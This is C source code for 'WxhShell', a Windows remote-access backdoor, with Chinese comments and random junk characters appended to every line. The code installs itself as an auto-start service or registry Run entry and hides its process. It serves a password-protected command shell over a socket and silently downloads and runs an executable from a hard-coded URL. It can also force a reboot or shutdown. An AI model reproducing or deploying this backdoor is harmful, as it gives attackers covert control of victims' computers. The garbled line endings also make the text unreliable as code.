    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zFQ&5@43  
    if(Boot(SHUTDOWN)) &wU'p-V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4G@nZn  
    else { \j2;4O?`  
    closesocket(wsh); hb/]8mR  
    ExitThread(0); NjE</Empb%  
    } v?c 0[+?  
    break; g}f9dB,F  
    } A!vCb 8(TX  
  // 获取shell +p8BGNW,  
  case 's': { P"lBB8\eku  
    CmdShell(wsh); ;Efcw[<  
    closesocket(wsh); F3oQ^;xB  
    ExitThread(0); +f0~D(d!_  
    break; CAT.4GM  
  } !vn1v)6  
  // 退出 ^VT1vu %03  
  case 'x': { @h?shW=^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &/A 8-:m  
    CloseIt(wsh); 1G7b%yPA  
    break; 1 ^g t1o  
    } |+U<S~  
  // 离开 ]MtFf6&  
  case 'q': { gq"k<C0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iU+nqY'  
    closesocket(wsh); aS}1Q?cU  
    WSACleanup(); &t(0E:^TRU  
    exit(1); N 4K8 u'f^  
    break; ^+SkCO  
        } PS S?|Vk  
  } 'O6]0l  
  } Gq#~vr  
,uz ]V1  
  // 提示信息 U6[ang'l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?4G|+yby  
} Zs2-u^3&  
  } I =Wc&1g  
%g]vxm5?  
  return; zu2HH<E  
} >%Ee#m  
>\<*4J$PZ  
// shell模块句柄 ]v G{kAnH  
int CmdShell(SOCKET sock) CnN9!~]"  
{ qP!P +'B  
STARTUPINFO si; S<nq8Ebmw  
ZeroMemory(&si,sizeof(si)); mqfO4"lt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A\Txb_x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @^ ik[9^H  
PROCESS_INFORMATION ProcessInfo; Ovw[b2ii  
char cmdline[]="cmd"; QO{y/{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -V % gVI[  
  return 0; 0(8H;T  
} ?yXAu0  
ftk%EYT;  
// 自身启动模式 V2|3i}V"  
int StartFromService(void) he+#Q 6  
{ _kFYBd  
typedef struct l_/C65%.:  
{ qJR!$?  
  DWORD ExitStatus; iO1nwl !#  
  DWORD PebBaseAddress; w(nHD*nm  
  DWORD AffinityMask; N"[B=fU}  
  DWORD BasePriority; +~sd"v6  
  ULONG UniqueProcessId; I-NN29Sk  
  ULONG InheritedFromUniqueProcessId; _ia!mT <  
}   PROCESS_BASIC_INFORMATION; n uQM^2  
!.5),2  
PROCNTQSIP NtQueryInformationProcess; !SHj$Jwa'  
7@%'wy&A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Aw!gSf)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^] p  
/DS?}I.*]  
  HANDLE             hProcess; ps:f=6m2  
  PROCESS_BASIC_INFORMATION pbi; P`1EPF  
_DPOyR2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  PWgDFL?  
  if(NULL == hInst ) return 0; smAC,-6 ]~  
bzmr"/#D3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _'x8M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R@T6U:1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +:jT=V"X  
;SKh   
  if (!NtQueryInformationProcess) return 0; s]B"qF A  
*j)M]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -dTLunv  
  if(!hProcess) return 0; 0>6DSQq~t(  
\[wCp*;1}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mZ0J!QYk  
pF=g||gS  
  CloseHandle(hProcess); H ;@!?I  
y@ek=fT%4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \6j^k Y=  
if(hProcess==NULL) return 0; "u' )g&   
0WxCSL$#I  
HMODULE hMod; r@)A k  
char procName[255]; QBE@(2G}C  
unsigned long cbNeeded; = Rc"^oS  
`kBnSio~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ln#a<Rx.E7  
,i`h x, Rg  
  CloseHandle(hProcess); _94s(~g:  
IvBGpT"(I  
if(strstr(procName,"services")) return 1; // 以服务启动 *8g<R  
]Nk!4"  
  return 0; // 注册表启动 s'a=_cN  
} q{4|Kpx@  
fJ80tt?r  
// 主模块 %EbiMo ]3B  
int StartWxhshell(LPSTR lpCmdLine) d}0qJoH4  
{ &y_? rH  
  SOCKET wsl; W5DbFSgB  
BOOL val=TRUE; uVU`tDzd:  
  int port=0; udqge?Tz  
  struct sockaddr_in door; aSnp/g  
CUmH,`hu  
  if(wscfg.ws_autoins) Install(); 89eq[ |G_  
d;suACW  
port=atoi(lpCmdLine); 0my9l;X   
~\_T5/I%  
if(port<=0) port=wscfg.ws_port; .{rbw9  
r:.uBc&_  
  WSADATA data; \gKdD S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $@[)nvV\  
=q CF%~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D,W\ gP/h%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hFb fNB3  
  door.sin_family = AF_INET; Z(!pYhLq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s^C;>  
  door.sin_port = htons(port); c]m! G'L_/  
[Z }B"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gi$gtLtN h  
closesocket(wsl); J 3?Dj  
return 1; hH4o;0rqJ  
} J1 tDO?  
6mG3fMih.  
  if(listen(wsl,2) == INVALID_SOCKET) { 71iRG*O  
closesocket(wsl); @&R1wr1>I5  
return 1; 1i?=JAFfM  
} 1Kc^m\  
  Wxhshell(wsl); 7!d$M{0"  
  WSACleanup(); :I/  
W%8+t)  
return 0; kV^?p  
}$)&{d G  
} Gp1EJ2d8  
m6so]xr  
// 以NT服务方式启动 )A83A<~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #MM &BC  
{ =P_fv  
DWORD   status = 0; %-^}45](q  
  DWORD   specificError = 0xfffffff; 9/;{>RL=  
cF.mb*$K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qb@eK$wo}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K\sbt7~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fA XE~  
  serviceStatus.dwWin32ExitCode     = 0; [@.B4p  
  serviceStatus.dwServiceSpecificExitCode = 0; Dc:DY:L^  
  serviceStatus.dwCheckPoint       = 0; swZpWC  
  serviceStatus.dwWaitHint       = 0; ,C!n}+27  
kMS5h~D[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0eA5zFU7  
  if (hServiceStatusHandle==0) return; |!b9b(_j9  
{})y^L  
status = GetLastError(); ZlM_ m >,o  
  if (status!=NO_ERROR) (v;A'BjN  
{ 6lU|mJ`M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FE6C6dW{  
    serviceStatus.dwCheckPoint       = 0; uX0 Bp8P  
    serviceStatus.dwWaitHint       = 0; d^SE)/j  
    serviceStatus.dwWin32ExitCode     = status; Qp69Sk@H{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y\8+}g;KR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \dNhzd#  
    return; "t+r+ipf])  
  } N9*UMVU  
zlMlMyG4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cs5ix"1A  
  serviceStatus.dwCheckPoint       = 0; 8nu> gA  
  serviceStatus.dwWaitHint       = 0; @W)/\AZ3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *f*f&l%  
} !rHx}n{rw  
TolrEcI  
// 处理NT服务事件,比如:启动、停止 9Z9l:}bO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .\4l'THn,0  
{ $B ?? Ip?P  
switch(fdwControl) Y UZKle  
{ Qdm(q:w  
case SERVICE_CONTROL_STOP: G1r V<,#m  
  serviceStatus.dwWin32ExitCode = 0; x vJ^@w'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H /%}R  
  serviceStatus.dwCheckPoint   = 0; 2lJZw@  
  serviceStatus.dwWaitHint     = 0; {kG;."S+K  
  { GiqBzV3"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jNqVdP]d\  
  } J(hA^;8:  
  return; dqwWfn1lt  
case SERVICE_CONTROL_PAUSE: iE+6UK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yjv&4pIc1  
  break; E@]sq A  
case SERVICE_CONTROL_CONTINUE: ]W|RtdF3.N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K Dz]wNf  
  break; .' IeHh  
case SERVICE_CONTROL_INTERROGATE: Q %y,;N"ro  
  break; rBD2Si=  
}; cl2ze  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .r*#OUC  
} 500> CBL0O  
@:IL/o*  
// 标准应用程序主函数 |Ib.)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y`=z.D{  
{ UC;=)  
x {vIT- f  
// 获取操作系统版本 -PXoMZx%  
OsIsNt=GetOsVer(); 7A[Ogro  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $ %;jk  
Wa{%0inZ  
  // 从命令行安装 hJ4S3b  
  if(strpbrk(lpCmdLine,"iI")) Install(); r?]%d!   
#O><A&FrF`  
  // 下载执行文件 s%bUgO%&  
if(wscfg.ws_downexe) { ~RCg.&[ou  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M0 L-u  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7>KQRLw  
} [DL|Ht>  
tUrNp~ve,  
if(!OsIsNt) { )ZeLaaP  
// 如果时win9x,隐藏进程并且设置为注册表启动 79a9L{gso  
HideProc(); n8Q* _?Z/  
StartWxhshell(lpCmdLine); p*!q}%U  
} <YSg~T  
else l)%mqW%  
  if(StartFromService()) T&!ZD2I  
  // 以服务方式启动 M.t@@wq  
  StartServiceCtrlDispatcher(DispatchTable); z2ds8-z  
else pbFYiu+  
  // 普通方式启动 e-jw^   
  StartWxhshell(lpCmdLine); CY5w$E  
wU.'_SBfB  
return 0; xLZMpP5c  
} @,GjeF]!  
tz3]le|ml  
QWQ!Ak  
WySNL#>a  
=========================================== u5/t2}^T  
G6<HO7\  
J/= +r0c  
q1P :^<[  
=J`gGDhGY-  
>Rr!rtc'x  
" qZ233pc  
vD_u[j]  
#include <stdio.h> { q})kO  
#include <string.h> i5Eeg`NMl  
#include <windows.h> F],TG&>5  
#include <winsock2.h> d`UF0T  
#include <winsvc.h> *J.c $1#h  
#include <urlmon.h> e7h\(`J0lj  
gfx oJihE  
#pragma comment (lib, "Ws2_32.lib") ]u~Os<   
#pragma comment (lib, "urlmon.lib") W.z$a.<(rF  
fHLFeSfH  
#define MAX_USER   100 // 最大客户端连接数 aQxe)  
#define BUF_SOCK   200 // sock buffer 7Onk!NH  
#define KEY_BUFF   255 // 输入 buffer 3V"dG1?  
q$3HvZP  
#define REBOOT     0   // 重启 kGruo5A  
#define SHUTDOWN   1   // 关机 CJ0$;et  
nhp)yW  
#define DEF_PORT   5000 // 监听端口 x Ridc^  
%;'~%\|dZM  
#define REG_LEN     16   // 注册表键长度 2$iw/ r  
#define SVC_LEN     80   // NT服务名长度 QZ#3Bn%B5  
:l4^iSf  
// 从dll定义API ysL0hwir  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s87 a %  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,!jR:nApE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <` #,AVH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |G>q:]+AV  
5s#R`o %Z  
// wxhshell配置信息 sw[<VsxjR  
struct WSCFG { PnI)n=(\  
  int ws_port;         // 监听端口 zI1(F67d`  
  char ws_passstr[REG_LEN]; // 口令 G,+xT}@wu  
  int ws_autoins;       // 安装标记, 1=yes 0=no +}&pVe\t  
  char ws_regname[REG_LEN]; // 注册表键名 t;h+Cf4  
  char ws_svcname[REG_LEN]; // 服务名 r$94J'_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }{P&idkv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _F! :(@}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #W_i{bdO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (H'_KPK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GOUY_&}tL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aeLBaS  
"vv$%^  
}; '\Qf,%%.  
-$xKv4  
// default Wxhshell configuration D WsCYo  
struct WSCFG wscfg={DEF_PORT, e|S+G6 :O2  
    "xuhuanlingzhe", B 9%yd*SJ  
    1, 6wa<'!   
    "Wxhshell", 8''9@xz  
    "Wxhshell", <{3q{VW*  
            "WxhShell Service", 7Ntjx(b$"h  
    "Wrsky Windows CmdShell Service",  s$K@X `  
    "Please Input Your Password: ", z?8zFP  
  1, J,CJPUf&  
  "http://www.wrsky.com/wxhshell.exe", /+Wb6{lY  
  "Wxhshell.exe" S~]8K8"sT  
    }; n P0Ziu'{  
C~3@M<X  
// 消息定义模块 a.5zdoH_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b>G qNf!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I|Vk.,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N )b|  
char *msg_ws_ext="\n\rExit."; gvow\9{|C  
char *msg_ws_end="\n\rQuit."; ;}UIj{sj*  
char *msg_ws_boot="\n\rReboot..."; 3(oZZz  
char *msg_ws_poff="\n\rShutdown..."; ~ nLkn#Z  
char *msg_ws_down="\n\rSave to "; .Y=Z!Q  
K8e4ax  
char *msg_ws_err="\n\rErr!"; ]L5Z=.z&  
char *msg_ws_ok="\n\rOK!"; AJJ%gxqGq  
g?k#wj1uH  
char ExeFile[MAX_PATH]; yt]Oj*nn0K  
int nUser = 0; Fm-q=3  
HANDLE handles[MAX_USER]; sDz)_;;%  
int OsIsNt; r4]hS`X~%  
oyi7YRvwd  
SERVICE_STATUS       serviceStatus; RZcx4fL}x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RPa?Nv?e  
Z&?+&q r^  
// 函数声明 v@}1WGY  
int Install(void); p*(U*8Q  
int Uninstall(void); i-K"9z| )  
int DownloadFile(char *sURL, SOCKET wsh); N|j;=y!  
int Boot(int flag); x"zjN'|  
void HideProc(void); Z7m GC`>  
int GetOsVer(void); .(gT+5[  
int Wxhshell(SOCKET wsl); +=,4@I%  
void TalkWithClient(void *cs); B.CH9M  
int CmdShell(SOCKET sock); YUP%K!k  
int StartFromService(void); i-Ge *?  
int StartWxhshell(LPSTR lpCmdLine); (50[,:#  
/e j/&x15  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A*-]J=:E {  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ILu0J`;}  
@8 oDy$j  
// 数据结构和表定义 5<:VJC<  
SERVICE_TABLE_ENTRY DispatchTable[] = zx_O"0{5  
{ -Ib+#pX  
{wscfg.ws_svcname, NTServiceMain}, auyKLT3C  
{NULL, NULL} E'Fv *UA  
}; N4Fy8qU;  
*'AS^2'  
// 自我安装 X+'^ Sp  
int Install(void) TCEXa?,L  
{ b}}1TnS)  
  char svExeFile[MAX_PATH]; ^R8U-V8:  
  HKEY key; ~_# Y,)S!z  
  strcpy(svExeFile,ExeFile); d =B@EyN  
J;Z>fAE7  
// 如果是win9x系统,修改注册表设为自启动 yccuTQvz  
if(!OsIsNt) { Wzf1-0t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f3%^-Uy*b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +UpMMh q  
  RegCloseKey(key); #sm_.?P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6|"!sW`%N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J4*:.8Ki  
  RegCloseKey(key); w50Bq&/jX  
  return 0; fW4cHB 9|  
    } _L `N^I.  
  } ?( dYW7S  
} ]L%R[Z!3  
else { &[2Ej|o  
C&CsI] @g  
// 如果是NT以上系统,安装为系统服务 |)72E[lL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7gdU9c/q,  
if (schSCManager!=0) KWn1%oGJ  
{ &xiDG=I#  
  SC_HANDLE schService = CreateService DESViQM  
  ( LGo@F;!n  
  schSCManager, +~i+k~{`H  
  wscfg.ws_svcname, 0:B^  
  wscfg.ws_svcdisp, ~y-vKCp|  
  SERVICE_ALL_ACCESS, y T1Qep  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /i~^LITH  
  SERVICE_AUTO_START, lu@>?,<  
  SERVICE_ERROR_NORMAL, SJ WP8+  
  svExeFile, M~{P',l*  
  NULL, s2kZZP8-  
  NULL, >fZ/09&3  
  NULL, #()cG  
  NULL, k1$2a8 ja  
  NULL / Vm}+"BCS  
  ); (Q+:N;  
  if (schService!=0) Jn <^Q7N  
  { 7)(`  
  CloseServiceHandle(schService); V^$rH<  
  CloseServiceHandle(schSCManager); v(Zi;?c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {i%x s#0h  
  strcat(svExeFile,wscfg.ws_svcname); %3l;bR>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^ Mvsq)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1f pS"_}  
  RegCloseKey(key); 4gkV]" H!  
  return 0; #Wc #fP  
    } T m@1q!G  
  } 3}#XA+Z  
  CloseServiceHandle(schSCManager); b#I*~  
} >2Qqa;nx|  
} Dy{`">a  
kj3o1Y  
return 1; u0 oYb_Yv  
} 6nWx>R<  
vb"dX0)<  
// 自我卸载 /4B4IT  
int Uninstall(void) N7I71q|  
{ 1={Tcq\]  
  HKEY key; )Y,?r[4{  
{EoyMJgz  
if(!OsIsNt) { noUZ9M|hz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,I&0#+}n  
  RegDeleteValue(key,wscfg.ws_regname); %}ApO{  
  RegCloseKey(key); EAd:`X,Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =Z>V}`n  
  RegDeleteValue(key,wscfg.ws_regname); -ynLuq#1A  
  RegCloseKey(key); L5k>;|SA  
  return 0; (8-lDoW  
  } 0-~6} r$  
} `7qp\vYL  
} r?yJ  
else { ;Y|~!%2~  
5fx,rtY2sQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QH' [ (  
if (schSCManager!=0) n\"LN3  
{ 7" STS7_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $H:h(ia:  
  if (schService!=0) o(>-:l i0  
  { whm tEY  
  if(DeleteService(schService)!=0) { vsz^B :j  
  CloseServiceHandle(schService); b;{"lJ:+Z  
  CloseServiceHandle(schSCManager); ?6YUb;  
  return 0; d,rEEc Y  
  } *JC{G^|Y  
  CloseServiceHandle(schService); C.B}Py+   
  } WKIiJ{@L  
  CloseServiceHandle(schSCManager); L,A-G"z0Z  
} 6L> "m0  
} pOI`,i}.  
6p=xgk-q  
return 1; !4,xQ ^   
} y" 6~9j  
;1g-z]  
// 从指定url下载文件 +j: Ld(  
int DownloadFile(char *sURL, SOCKET wsh) AUjTcu>i  
{ YG1`%,OW`  
  HRESULT hr; aLk2#1$g  
char seps[]= "/"; rUpAiZfz >  
char *token; _yB9/F  
char *file; BvW gH.OX  
char myURL[MAX_PATH]; -%V-'X5  
char myFILE[MAX_PATH]; ;$L!`"jn  
7C?mD75j  
strcpy(myURL,sURL); ODvpMt:+  
  token=strtok(myURL,seps); jG(~9P7  
  while(token!=NULL) RGA*7  
  { ApJf4D<V  
    file=token; xOyL2   
  token=strtok(NULL,seps); P5xmLefng  
  } wYMX1=  
XhD fI &  
GetCurrentDirectory(MAX_PATH,myFILE); *n_4Rr  
strcat(myFILE, "\\");  wY_-  
strcat(myFILE, file); G{Enh<V  
  send(wsh,myFILE,strlen(myFILE),0); c2mt<DtWW  
send(wsh,"...",3,0); Ru')X{]25  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )zt4'b\)v  
  if(hr==S_OK) RrpF i'R  
return 0; "sx&8H"  
else HeifFJn  
return 1; Y9L6W+=T  
N_k6UA9  
} LLY;IUK!R  
eL?si!ZL^  
// 系统电源模块 yIf}b  
int Boot(int flag) HgATH  
{ ]bE?n.NwZ  
  HANDLE hToken; !gew;Jz  
  TOKEN_PRIVILEGES tkp; N&h!14]{ Z  
6Oba}`)q9  
  if(OsIsNt) { 1`_)%Y[ZJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dsZ ( D:)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sK/"  
    tkp.PrivilegeCount = 1; i6:yNb ='  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <a[8;YQC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XK-x*|  
if(flag==REBOOT) { 9x{prCr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hsO.521g  
  return 0; d@f2Vxe7  
} vGHYB1=~  
else { T>%ny\?tHW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JsEEAM:w  
  return 0; be%*0lr  
} W8h\ s {  
  } SfL`JNi)  
  else { 6MNA.{Jdd  
if(flag==REBOOT) { g2<S4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3(*s|V"  
  return 0; X3O$Sd(D  
} Z2jb>%  
else { `80Hxp@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5@%-=87S  
  return 0; 5m?$\h  
} j:KQIwc  
} gK\7^95  
yZ0ZP  
return 1; ~RAH -]  
} 2I 7`  
u`@FA?+E1  
// win9x进程隐藏模块 NT/B4'_@  
void HideProc(void) iX6jvnJ:/  
{ Q b{5*>  
<uwCP4E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O9)}:++T  
  if ( hKernel != NULL ) FN EmGz/4  
  { %{abRBny  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wR$8drn]Rq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ka\b_P&  
    FreeLibrary(hKernel); u*N8s[s'  
  } !z 5d+ M  
 " 1Aus  
return; 8mLU ~P |  
} 4PM`hc  
`3oP^#  
// 获取操作系统版本 :?k=Yr  
int GetOsVer(void) mJR T+SZ  
{ @\}36y  
  OSVERSIONINFO winfo; M)^9e?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q:sR zX  
  GetVersionEx(&winfo); Vp{2Z9]}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) " <a|Q,!  
  return 1; Yb{t!KL  
  else &ru0i@?)  
  return 0; 695ppiKU  
} nW'x#0-  
_u2  
// 客户端句柄模块 kk+8NwM1  
int Wxhshell(SOCKET wsl) C~V$G}mM  
{ m kf{_!TK  
  SOCKET wsh; PzDgl6C  
  struct sockaddr_in client; Pv.@Y 30  
  DWORD myID; Vnb#N4vR  
 )6+W6:  
  while(nUser<MAX_USER) AI;=k  
{ F &}V65  
  int nSize=sizeof(client); ~U+'3.Wo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s9Z2EjQV  
  if(wsh==INVALID_SOCKET) return 1; 8:fiO|~%  
K.m[S[cy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  U~t(YT  
if(handles[nUser]==0) ]t;5kj/  
  closesocket(wsh); ]bweQw@i  
else X-F HJ4  
  nUser++; #?6RoFgMe  
  } ? d\8Q't*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ntiz-qW  
x)L@x Q  
  return 0; g>zL{[e!  
} >K%x44|  
=T$- #bA)  
// 关闭 socket =>*N W9c  
void CloseIt(SOCKET wsh) 5-^twXC&  
{ epyfgg MT  
closesocket(wsh);  c @fc7  
nUser--; j]&{ @Y  
ExitThread(0); C ,hsr  
} vrbh+  
e*H$c?7NL  
// 客户端请求句柄 >O~5s.1u  
void TalkWithClient(void *cs) e r$'c  
{  V}qmH2h  
Dm#k-y  
  SOCKET wsh=(SOCKET)cs; p#2th`M:P1  
  char pwd[SVC_LEN]; Z- (HDn  
  char cmd[KEY_BUFF]; P\e%8&_U/  
char chr[1]; F9W5x=EK\  
int i,j; a~>h'}C>  
: 6V 8  
  while (nUser < MAX_USER) { Q>$L;1E*,  
kM`#U *j  
if(wscfg.ws_passstr) { 9l]IE,u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q3`t0eLZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o:<3n,T  
  //ZeroMemory(pwd,KEY_BUFF); ^dv>n]?  
      i=0; 7<D_ h/WV  
  while(i<SVC_LEN) { y{JkY\g  
>qA&;M  
  // 设置超时 SZvsJ)  
  fd_set FdRead; [_n|n"M  
  struct timeval TimeOut; G2D<LRWt4  
  FD_ZERO(&FdRead); $ cSZX#\  
  FD_SET(wsh,&FdRead); n4johV.#  
  TimeOut.tv_sec=8; K>y+3HN[6  
  TimeOut.tv_usec=0; <H6Uo#ao  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %R"Fx$tQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {wI0 =U  
HrGX-6`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Frr#t!(w0  
  pwd=chr[0]; y e'5 A   
  if(chr[0]==0xd || chr[0]==0xa) { {'!~j!1'j  
  pwd=0; h# 8b#  
  break; ty>O}9%  
  } -; }Wm[  
  i++; 6EY4@0%A  
    } c&&UT-Z  
E<dN=#f6  
  // 如果是非法用户,关闭 socket &&O=v]6,V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2uVm?nm  
} 4a-wGx#h  
Ek3O{<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x5ia<V>=d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2+PIZ6=hN  
0P(}e[~Z  
while(1) { M_K&x-H0  
]mSVjF3l  
  ZeroMemory(cmd,KEY_BUFF); ?L^ Gu ]y  
{Hu0  
      // 自动支持客户端 telnet标准   =%LS9e^7D  
  j=0; Gj=il-Po  
  while(j<KEY_BUFF) { Ry C7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bxs@_fH  
  cmd[j]=chr[0]; A7H=#L+C  
  if(chr[0]==0xa || chr[0]==0xd) { R 9(^CWs  
  cmd[j]=0; -|mABHjx*  
  break; *?{)i~  
  } $`%.Y&A  
  j++; /l L*U  
    } |UG)*t/  
T[~X~dqwn"  
  // 下载文件 [z\*Zg  
  if(strstr(cmd,"http://")) { 2 O%UT?R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &!ZpBR(  
  if(DownloadFile(cmd,wsh)) b11C3TyQT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *RPI$0  
  else zw?6E8$h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C$8=HM3  
  } \T0`GpE  
  else { X`&E,;bIb  
D$ \ EZ   
